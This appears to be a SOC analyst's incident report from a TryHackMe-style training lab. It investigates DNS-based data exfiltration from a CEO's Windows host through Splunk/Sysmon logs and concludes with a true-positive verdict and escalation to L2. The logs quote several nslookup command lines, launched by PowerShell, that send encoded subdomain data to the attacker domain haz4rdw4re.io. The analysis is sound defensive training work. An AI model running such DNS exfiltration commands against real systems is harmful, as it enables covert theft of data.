

Incident report

Incident classification

True positive

False positive

Case report

Please write a detailed report on the steps taken to analyse and contain this incident, including all relevant information and the rationale for its closure.

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:
Name: Michael Ascot
Email: michael.ascot@tryhatme.com
Role: CEO
Logged-in Host: win-3450 Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 3800) was executed by powershell.exe (PID 3728) from "C:\Users\michael.ascot\downloads\exfiltration". The command issued a DNS query to the external domain "nL3nMDy7NiU0sq5SryCmu4OYprsk_haz4rdw4re.io". This activity continues a sequence of automated DNS requests with encoded-looking subdomains following file access and network drive operations, consistent with ongoing DNS-based data exfiltration attempts.

-Malware Identified: None explicitly identified. Activity strongly suggests DNS-based exfiltration behavior.

Additional Investigation:

-Additional info:

Does this alert require escalation?

Yes

No

Save and close alert

Alert 1029: Process

- Identified as True Positive
- Requires escalation to L2
- Full Report Documented on the last page

splunk>enterprise

Apps

Messages Settings Activity Help Find

Search Analytics Datasets Reports Alerts Dashboards

Search & Reporting

New Search

Save As Create Table View Close

1 host.name="win-3450" process.name="nslookup.exe" process.parent.name="powershell.exe"

6 day window

10 of 30 events matched No Event Sampling

Job

Verbose Mode

Events (10) Patterns Statistics Visualization

Format Timeline Zoom Out Zoom to Selection Deselect

1 hour per column

List Format 50 Per Page

< Hide Fields

All Fields

SELECTED FIELDS

a host 1

a source 1

a sourcetype 1

INTERESTING FIELDS

a datasource 1

a event.action 1

event.code 1

a host.name 1

a index 1

linecount 1

a process.command_line 10

a process.name 1

a process.parent.name 1

process.parent.pid 1

process.pid 10

a process.working_directory 2

a punct 1

a splunk_server 1

a timestamp 2

+ Extract New Fields

>

12/27/25

3:55:33.248 PM

{ [-]

datasource: sysmon

event.action: Process Create (rule: ProcessCreate)

event.code: 1

host.name: win-3450

process.command_line: "C:\Windows\system32\nslookup.exe" VEHNeZE80TczMjFnNGY2ZjA1OWE1Mm_haz4rdw4re.io

process.name: nslookup.exe

process.parent.name: powershell.exe

process.parent.pid: 3728

process.pid: 3700

process.working_directory: C:\Users\michael.ascot\downloads\

timestamp: 12/27/2025 15:55:33.248

}

Show as raw text

host = 10.10.211.182:8989 | source = eventcollector | sourcetype = _json

>

12/27/25

3:55:33.248 PM

{ [-]

datasource: sysmon

event.action: Process Create (rule: ProcessCreate)

event.code: 1

host.name: win-3450

process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEjNGZlMTY1NjZlZjQ==_haz4rdw4re.io

process.name: nslookup.exe

process.parent.name: powershell.exe

process.parent.pid: 3728

process.pid: 3648

process.working_directory: C:\Users\michael.ascot\downloads\

timestamp: 12/27/2025 15:55:33.248

}

SIEM Investigation

- For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

Submitted report:

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:

Name: Michael Ascot

Email: michael.ascot@tryhatme.com

Role: CEO

Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 6604) was executed by powershell.exe (PID 3728) from `C:\Users\michael.ascot\downloads\exfiltration\`. The command queried the external domain `AFBLAWQUAAAACAC9oC5XHhIO5R8AAA.haz4rdw4re.io`. This activity is part of a continued sequence of scripted DNS queries to high-entropy subdomains following network drive access and file copy actions, indicating an attempt to transmit data externally using DNS.

-Malware Identified: None explicitly identified. Activity is consistent with DNS-based data exfiltration behavior.

-Additional Investigation: For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

-Additional info:

Parent Process: powershell.exe was used to automate repeated DNS queries, indicating deliberate scripted execution rather than user troubleshooting.

Child Process: nslookup.exe is a legitimate Windows DNS utility that can be abused to send encoded data within DNS requests to attacker-controlled domains.

Why This Is Uncommon: Repeated DNS queries with encoded-looking subdomains, executed via PowerShell from a directory named "exfiltration," are not normal user or system behavior and are a strong indicator of covert data exfiltration activity.

-Recommendations: Escalate to Level 2 (L2) for further investigation and handling.

This is a True Positive

This needs escalation to L2 for further investigation